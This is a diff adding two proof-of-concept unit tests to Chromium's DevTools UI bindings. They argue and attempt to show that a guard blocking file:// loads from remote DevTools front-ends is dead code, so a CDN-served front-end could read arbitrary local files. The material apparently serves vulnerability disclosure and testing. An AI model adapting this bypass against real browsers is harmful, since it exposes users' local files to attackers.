diff --git a/chrome/browser/devtools/devtools_ui_bindings_unittest.cc b/chrome/browser/devtools/devtools_ui_bindings_unittest.cc index cde1fa468b748..0c4a14a01eeb3 100644 --- a/chrome/browser/devtools/devtools_ui_bindings_unittest.cc +++ b/chrome/browser/devtools/devtools_ui_bindings_unittest.cc @@ -7,6 +7,8 @@ #include "base/base64.h" #include "base/command_line.h" #include "base/feature_list.h" +#include "base/files/file_util.h" +#include "base/files/scoped_temp_dir.h" #include "base/memory/ptr_util.h" #include "base/memory/raw_ptr.h" #include "base/test/bind.h" @@ -29,7 +31,9 @@ #include "content/public/test/navigation_simulator.h" #include "content/public/test/test_web_contents_factory.h" #include "content/public/test/url_loader_interceptor.h" +#include "base/strings/string_number_conversions.h" #include "google_apis/gaia/google_service_auth_error.h" +#include "net/base/filename_util.h" #include "net/base/net_errors.h" #include "net/http/http_status_code.h" #include "net/traffic_annotation/network_traffic_annotation_test_helper.h" @@ -217,6 +221,95 @@ TEST_F(DevToolsUIBindingsLoadNetworkResourceTest, "--allow-unsafe-devtools-remote-file-loading to enable it."); } +// --------------------------------------------------------------------------- +// POC: The file:// guard added for remote front-ends checks +// IsValidRemoteFrontendURL() against the *committed* DevTools URL. In +// production a CDN-served ("remote") front-end always commits as +// devtools://devtools/remote/serve_rev/@/... +// (see DevToolsUI::GetProxyURL), never as the https://...appspot.com/ form +// that IsValidRemoteFrontendURL() accepts. An https:// commit would fail +// IsValidFrontendURL() and reset frontend_host_, making LoadNetworkResource +// unreachable anyway. So at every reachable call site the predicate is false +// and the 403 branch is dead code: a remote (CDN-served) front-end can still +// read arbitrary local files via loadNetworkResource("file://..."). +// --------------------------------------------------------------------------- + +TEST_F(DevToolsUIBindingsTest, + POC_IsValidRemoteFrontendURLRejectsProductionRemoteForm) { + // The unit-test-only form (never committed in production): + EXPECT_TRUE(DevToolsUIBindings::IsValidRemoteFrontendURL( + GURL("https://chrome-devtools-frontend.appspot.com/serve_rev/@12345/" + "inspector.html"))); + + // The production committed-URL form for a remote front-end. The guard's + // predicate returns FALSE here, so the 403 branch can never fire. + GURL production_remote_url( + "devtools://devtools/remote/serve_rev/@12345/" + "inspector.html?remoteFrontend=true"); + EXPECT_FALSE( + DevToolsUIBindings::IsValidRemoteFrontendURL(production_remote_url)); + + // ...yet this is the only URL form that *can* reach LoadNetworkResource, + // because frontend_host_ creation requires IsValidFrontendURL() == true: + EXPECT_TRUE(DevToolsUIBindings::IsValidFrontendURL(production_remote_url)); + EXPECT_FALSE(DevToolsUIBindings::IsValidFrontendURL( + GURL("https://chrome-devtools-frontend.appspot.com/serve_rev/@12345/" + "inspector.html"))); +} + +TEST_F(DevToolsUIBindingsLoadNetworkResourceTest, + POC_RemoteFrontendGuardIsDeadCode_FileReadSucceeds) { + // Drop a secret onto disk so we can prove the FileURLLoaderFactory branch + // is reached and actually returns local file contents. + base::ScopedTempDir temp_dir; + ASSERT_TRUE(temp_dir.CreateUniqueTempDir()); + const base::FilePath secret_path = temp_dir.GetPath().AppendASCII("secret"); + constexpr char kSecret[] = "root:x:0:0:THIS-IS-A-LOCAL-FILE-DISCLOSURE\n"; + ASSERT_TRUE(base::WriteFile(secret_path, kSecret)); + const GURL file_url = net::FilePathToFileURL(secret_path); + + // Commit the *production* remote-frontend URL form -- the form actually + // produced by DevToolsUI::GetProxyURL() / GetDevToolsURL(kFrontendRemote) + // when the victim clicks "inspect" on a remote target whose + // devtoolsFrontendUrl points at the appspot CDN. + GURL remote_url( + "devtools://devtools/remote/serve_rev/@12345/" + "inspector.html?remoteFrontend=true"); + ASSERT_TRUE(DevToolsUIBindings::IsValidFrontendURL(remote_url)) + << "precondition: production remote URL must pass IsValidFrontendURL " + "(otherwise frontend_host_ would be reset and LoadNetworkResource " + "would be unreachable)"; + content::NavigationSimulator::NavigateAndCommitFromBrowser(web_contents(), + remote_url); + ASSERT_EQ(web_contents()->GetLastCommittedURL(), remote_url); + + base::RunLoop run_loop; + base::DictValue result; + CallLoadNetworkResource( + file_url.spec(), "", 0, + base::BindLambdaForTesting([&](const base::Value* value) { + result = value->GetDict().Clone(); + run_loop.Quit(); + })); + run_loop.Run(); + + // BUG: the 403/ERR_ACCESS_DENIED branch was *intended* to fire here but + // does not, because IsValidRemoteFrontendURL(devtools://devtools/remote/...) + // is false. Execution falls through to CreateFileURLLoaderFactory() and the + // local file is read with statusCode 200. + std::optional status = result.FindInt("statusCode"); + EXPECT_EQ(status, 200) + << "guard was bypassed -> local file was read; got status=" + << (status ? base::NumberToString(*status) : ""); + EXPECT_EQ(result.FindString("messageOverride"), nullptr); + EXPECT_NE(result.FindInt("netError"), net::ERR_ACCESS_DENIED); + + fprintf(stderr, + "[POC] devtools://devtools/remote/... front-end requested %s -> " + "statusCode=%d (guard dead; local file disclosed)\n", + file_url.spec().c_str(), status.value_or(-1)); +} + TEST_F(DevToolsUIBindingsTest, SanitizeFrontendURL) { std::vector> tests = { {"random-string", "devtools://devtools/"},